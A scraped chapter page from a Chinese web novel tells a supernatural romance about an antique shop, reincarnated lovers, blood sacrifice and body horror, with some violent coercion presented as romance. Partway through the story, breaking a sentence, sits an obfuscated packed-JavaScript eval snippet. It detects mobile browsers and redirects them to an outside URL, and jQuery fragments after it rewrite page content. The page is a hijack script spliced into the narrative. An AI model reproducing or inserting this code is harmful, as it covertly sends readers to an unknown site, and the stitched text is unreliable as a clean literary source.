默认冷灰
24号文字
方正启体

3. 活色生香

作者:克莱因夏本书字数:K更新时间:
    琉璃厂的晨雾还没散,崇古斋的朱漆大门就透着股诡异的甜香。


    江浸月站在门檐下,月白旗袍的开衩处沾着露水,怀里的龙缸残片隔着软绸发烫,像揣了块刚出炉的烙铁。门环是对青铜狴犴,衔着圆环的兽嘴还在滴涎水般的雾珠,她伸手去叩,指尖刚触到冰凉的金属,门就“吱呀”一声开了,像早知道她会来。


    博古架从门厅一直排到后堂,蜜蜡、玳瑁、剔红漆盒在幽光里泛着油润的光,却都比不过正堂那张紫檀木大案——傅沉舟正背对着她,用柄鱼肠剑削梨,寒光翻飞间,果皮垂落如血瀑,在案上积成小小的红堆。


    “江小姐倒是守时。”他转过身,白衬衫的袖口卷到手肘,露出小臂上盘绕的金漆纹路,囚牛的尾巴尖正顺着静脉跳动,“令祖父欠我的债,该清算了。”


    江浸月的目光落在案角的青花龙缸残片上,与她怀里的半块恰好对称,釉色里的暗红更浓,像凝固的血。“傅先生用南洋巫术养玉,倒是青出于蓝。”她突然将怀里的残片砸向旁边的剔红漆盘,“这漆盘用孕妇胎血调的暹罗邪漆,遇明器则显形,傅先生不妨看看?”


    漆盘被砸中的瞬间,牡丹纹突然褪成惨白,露出底下密密麻麻的掌印,大小不一,像是无数只手从漆里伸出来抓挠。傅沉舟的脸色微变,随即低笑出声:“江家的女儿果然懂行。可惜你祖父当年用我母亲的血调漆时,可没这般怜香惜玉。”


    他突然掐住她的后颈,将她按向漆盘。冰凉的漆面向吸盘般贴上来,牡丹纹在她瞳孔里扭曲成血色漩涡,那些掌印竟开始移动,渐渐拼成“1987.6.17”的日期——与祖父日记里双生子出生的日子一模一样。


    “四十年前那艘打捞船,”傅沉舟的呼吸灼烧着她的耳后,带着檀香混着尸油的怪味,“江家人为夺郑和玉册,把我母亲锁在渗水的底舱。你知道老鼠啃食手指是什么声音吗?”他突然加重力道,“就像你现在的心跳。”


    江浸月屈膝顶向他的胯间,却撞上块硬邦邦的东西,触感带着倒刺。傅沉舟嗤笑着扯开腰带,精钢护裆泛着冷光,上面嵌着枚明代玉带钩,钩首是只衔珠的螭龙,珠子竟是用人骨磨成的。“江家女儿都这般天真?”他指尖划过她旗袍的盘扣,“真当男人是《韩熙载夜宴图》里的纸片人?”


    案上的青铜冰鉴突然发出“咔哒”声,盖子弹开条缝,涌出股带着腥气的寒气。江浸月瞥见里面堆满南洋尸蠊,黑褐色的虫甲在幽光里泛着油亮,触角正齐刷刷地指向她。“这些小东西认血。”傅沉舟的指尖划过她的锁骨,“尤其是江家女人的血。”


    他突然扬手将龙缸残片扫进冰鉴,虫群瞬间沸腾,黑压压地爬满瓷片。诡异的是,尸蠊爬过的地方,青花龙纹竟开始发光,金漆顺着纹路游走,渐渐连成完整的航海图。傅沉舟背后的囚牛纹身突然活了过来,金线破衣而出,缠绕住冰鉴边缘,与瓷片上的金光共振。


    “看好了。”他割破掌心,血滴在瓷面的瞬间,航海图上的宝船标记突然亮起,映得整间屋子都泛着青蓝。江浸月腕间的翡翠镯突然发烫,内侧暗格“啪”地弹开,掉出张发黄的信笺,是祖父的笔迹:“1987.6.17,玉柔产下双生子,取心血封入曜变盏,傅江两家,世世为祭……”


    “玉柔是我母亲的名字。”傅沉舟的声音冷得像冰,“也是你祖母的名字。”他拽过她的手按在自己心口,“摸到了吗?这里有颗子弹,是你祖父1993年在西沙群岛打的,就为了抢这半块龙缸残片。”


    惊雷炸响,崇古斋的清代窗棂轰然倒塌,碎木片混着晨雾砸进来。傅沉舟将江浸月压上身后的战国错金银屏风,冰凉的铜饰硌得她肩胛骨生疼。他的鼻尖擦过她颈间的朱砂痣,呼吸里带着酒气:“猜猜当年被做成活人密码的,是我们中的哪一个?”


    屏风上的狩猎纹在雷光中活了过来,骑士的脸变成江浸月的祖父,正举着刀刺向个穿旗袍的女人,女人怀里抱着两个襁褓,血顺着旗袍下摆淌进海里,染红的浪花竟与龙缸残片上的青花一模一样。


    “是双胞胎。”江浸月的声音发颤,“祖父日记里说,双生子心头血合在一起,才能让海图显形。”她突然想起釉面里的幻影,“你是哥哥,还是弟弟?”


    傅沉舟的吻落下来,带着金漆的腥气。他扯开她的旗袍领口,露出锁骨处淡淡的胎印,形状像半片青花瓷。“你祖父偷梁换柱,用我的血养了这龙缸。”他的指尖划过胎印,“而你,本该是祭窑的那一个。”


    冰鉴里的尸蠊突然集体爆鸣,虫甲碰撞的声音竟组成段摩斯密码。江浸月读懂的瞬间,冷汗浸透了旗袍——“曜变盏在故宫地库,血启。”她猛地推开傅沉舟,却被他拽住头发,后脑狠狠撞在屏风上。


    金星乱冒中,她看见屏风背面贴着张泛黄的照片:穿军装的傅沉舟抱着个婴儿,背景是爆炸的沉船,火光映着他背后的囚牛纹身,与现在的纹路分毫不差。照片边缘写着行小字:“第三世,她叫浸月。”


    “我们已经轮回八次了。”傅沉舟舔去她唇角的血,“每次都是你先死,这次……”他突然指向门口,“或许能换个人。”


    晨光里站着个白发老者,拄着根龙头拐杖,拐杖头的翡翠与江浸月的手镯同源。“祖父?”她的声音卡在喉咙里——这张脸,分明是三年前被她亲手送进火葬场的江远声。


    老者的拐杖在地上顿了顿,博古架上的古董突然集体震颤,发出编钟般的共鸣。“沉舟,别吓着孩子。”他的声音比骨灰还干,“第九世的时辰快到了,该去地库了。”


    傅沉舟冷笑一声,突然将龙缸残片掷向老者。瓷片在半空炸开,溅出的金漆在空中组成张人脸,是郑和的轮廓。“老东西,你以为藏得住曜变盏?”他拽过江浸月的手腕,金漆纹身突然缠上她的镯子,“她的体温,早就认主了。”


    江浸月的手镯突然裂开,掉出枚鎏金钥匙,柄上刻着“宝船厂”三个字。老者的眼睛亮了:“钥匙果然在你这!”他的拐杖突然变形,露出里面的青铜剑,“把钥匙给我,我告诉你谁是祭品!”


    傅沉舟将江浸月护在身后,囚牛纹身金光暴涨,与青铜剑的寒气碰撞出火星。“她爷爷当年就是用这把剑,挑断了我母亲的手筋。”他的指甲突然变长,泛着青黑,“江浸月,选吧,跟他走,还是跟我去地库?”


    窗外的晨雾彻底散了,阳光透过碎窗棂照进来,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314974|182945||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在地上拼出半张航海图。江浸月看着祖父狰狞的脸,又看看傅沉舟背后游动的金漆龙纹,突然想起釉面里的最后一幕——玄衣男人抱着穿旗袍的女人跳进窑炉,两人的影子被烧进瓷片,边缘刻着“第九世,同生共死”。


    她握紧掌心的金钥匙,突然笑了:“我选……看看曜变盏里,到底藏着什么。”


    傅沉舟的吻再次落下,这次带着不容错辨的温柔。金漆纹身顺着她的手腕爬上脖颈,与锁骨处的胎印融为一体,发出细微的“滋滋”声,像有什么东西正在皮肉里生根。


    老者怒吼着挥剑刺来,傅沉舟拽着江浸月往内堂翻去,撞翻的博古架上,无数古董坠落碎裂,露出里面藏着的骸骨——都是些孩童的小骨头,指骨上还套着微型的翡翠镯。


    “这些都是前几世的祭品。”傅沉舟的声音在奔跑中发颤,“但你不一样,阿月,你是第九世的钥匙。”


    内堂的暗门后是道石阶,通往地下。江浸月的旗袍下摆被勾破,露出的小腿撞上冰凉的石壁,却感觉不到疼——金漆已经顺着血管蔓延,在皮肤下织成张细密的网,每根金线都连着傅沉舟背后的囚牛纹身,像条永远剪不断的脐带。


    石阶尽头传来海水的腥气,傅沉舟推开最后一道门,潮湿的寒气扑面而来。江浸月看见间巨大的密室,中央摆着只明代龙缸,缸身的青花海浪里嵌着无数骸骨,最上面躺着只曜变天目盏,釉色流转间,映出她和傅沉舟相拥的影子,像幅烧不尽的画。


    “欢迎回家,阿月。”傅沉舟的金漆纹身彻底活了,囚牛的头贴在她心口,“这里是宝船厂的地宫,也是我们每一世的终点。”


    龙缸突然发出嗡鸣,骸骨碰撞的声音组成郑和的咒语,在密室里回荡。江浸月的手镯彻底碎裂,金钥匙飞进曜变盏,盏里的血釉瞬间沸腾,浮出第八世的记忆——


    1943年的吴淞口,穿长衫的傅沉舟抱着旗袍染血的江浸月,背后是爆炸的沉船。他将半块龙缸残片塞进她嘴里:“记住,第九世,别再爱我。”


    记忆破碎时,江浸月听见祖父的脚步声在石阶上响起,带着青铜剑的寒气。她抬头看向傅沉舟,发现他眼角的泪痣正在流血,与自己锁骨处的血珠同时滴落在曜变盏里。


    釉面突然炸开强光,将两人的影子钉在龙缸上,像幅正在完成的活体拓印。江浸月终于明白,所谓“活色生香”,从来不是指古董的华美,而是指那些被封在釉色里的爱与恨,要在第九世的血色里,才能彻底苏醒。


    密室的海水开始上涨,漫过脚踝时,江浸月摸到傅沉舟背后的弹痕,那里的皮肤正在发烫,金漆顺着伤口往里钻,像在与骨头长在一起。“这次换我护你。”她的指尖划过他的囚牛纹身,“不管前八世怎样,第九世,我选你。”


    傅沉舟的吻落下来,带着海水的咸涩。龙缸里的骸骨突然站起,组成道人墙,挡住了冲进来的祖父。江浸月看着曜变盏里渐渐清晰的海图,知道宝船七号的秘密即将揭开,而她和傅沉舟的第九世,才刚刚开始。


    海水漫过腰际时,她听见傅沉舟在她耳边低语,声音像被金漆包裹的承诺:“阿月,这次我们一起烧窑,烧成永不分离的骨瓷。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)